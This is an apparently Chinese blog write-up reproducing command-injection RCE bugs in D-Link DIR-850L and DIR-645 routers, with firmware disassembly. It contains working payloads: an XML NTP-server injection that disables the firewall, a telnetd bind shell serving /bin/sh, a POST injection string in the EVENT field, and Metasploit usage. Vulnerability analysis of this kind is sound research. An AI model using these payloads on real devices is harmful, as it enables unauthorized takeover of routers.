路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现

阅读量    70313 |   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。

 

漏洞分析

根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。

php 源代码

代码如下:

image.png-358kB

这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。

通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid

首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。

image.png-246.2kB

构造 xml 数据:

<postxml>
<module>
    <service>DEVICE.TIME</service>
    <device>
        <time>
            <ntp>
                <enable>1</enable>
                <period>604800</period>
                <server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
            </ntp>
            <ntp6>
                <enable>1</enable>
                <period>604800</period>
            </ntp6>
            <timezone>61</timezone>
            <time></time>
            <date></date>
            <dst>0</dst>
            <dstmanual></dstmanual>
            <dstoffset></dstoffset>
        </time>
    </device>
</module>
</postxml>

这里的 payload 将目标服务器的 iptables 防火墙关闭,并在 23090 端口开启 telnet 服务

image.png-246.5kB

  • 这里的变量 $enable$enablev6 都设置为 1,就执行了第一个分支。

之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi 发送激活请求。

image.png-231.3kB

返回 OK 则表示已经激活成功。

这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service 变量

image.png-282.4kB

 

漏洞利用

按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。

开启 telnetd 服务

telnetdbusybox 程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。

telnetd -p 23090 -l /bin/sh

在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh 程序,即反弹一个 busybox 的 shell。

和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接

image.png-98.2kB

图上表明正常获取了目标 busybox 的 shell。

使用 metasploit 反弹 shell

在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。

exploit/linux/http/dlink_dir850l_unauth_exec

在 exploit-db 上的位置

这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:

sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装好后打开 msf, use exploit 设置好参数就行了。

image.png-420.8kB

这样就反弹了一个 busybox 的 shell。

image.png-338.1kB

 

DIR-645 命令执行

在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。

固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP

service.cgi 分析

同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main 这个函数处。

image.png-268.3kB

接下来一步步分析函数的功能,首先使用 getenv 函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。

使用 cgibin_parse_request 函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser 函数判断用户是否已经登录。

之后获取 POST 表单字段,若字段名为 EVENT 的话,就将 "event %s > /dev/null" 作为参数执行 lxmldbc_system 函数。

.text:0040CF58
.text:0040CF58                 loc_40CF58:
.text:0040CF58                 lui     $a0, 0x42
.text:0040CF5C                 jal     sub_40CD50
.text:0040CF60                 la      $a0, aEvent      # "EVENT"
.text:0040CF64                 la      $a0, aAction     # "ACTION"
.text:0040CF6C                 jal     sub_40CD50
.text:0040CF70                 move    $s2, $v0         # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
.text:0040CF74                 la      $a0, aService    # "SERVICE"
.text:0040CF7C                 jal     sub_40CD50
.text:0040CF80                 move    $s0, $v0
.text:0040CF84                 lw      $gp, 0x130+var_120($sp)
.text:0040CF88                 beqz    $s2, loc_40CFA4
.text:0040CF8C                 move    $s1, $v0
.text:0040CF90                 lui     $a0, 0x42
.text:0040CF94                 la      $t9, lxmldbc_system
.text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
  • 注意 mips 的流水线效应。

lxmldbc_system 函数中调用了 system 函数,跟进分析一下

开头先执行了 vsnprintf 函数,格式化字符串到栈上 ($sp+0x428+var_40C)

vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)

vsnprintf 函数的解释:

函数原型:int vsnprintf(char str, size_t size, const char format,va_list ap);
函数说明:将可变参数格式化输出到一个字符数组
参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法

这个函数和 snprintf 函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。

接着调用 system 函数,这里的 $s0 = $sp+0x428+var_40C 可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。

.text:004133E4                 la      $t9, system
.text:004133E8                 nop
.text:004133EC                 jalr    $t9 ; system
.text:004133F0                 move    $a0, $s0         # command

也就是执行了 system("event %s > /dev/null"),显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。

所以在这里我们只需要提交类似于 EVENT=;uname -a%26 的 POST 数据就行了。

  • 前面的分号换成 | 和 & 都可以正常注入,后面只能为 & 。

system 函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。

  • 这里构造 SERVICE 字段也行,只不过需要再加上 ACTION 字段配合使用才行。

image.png-253.7kB

 

总结

DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。

 

参考文章

https://www.freebuf.com/articles/terminal/164680.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多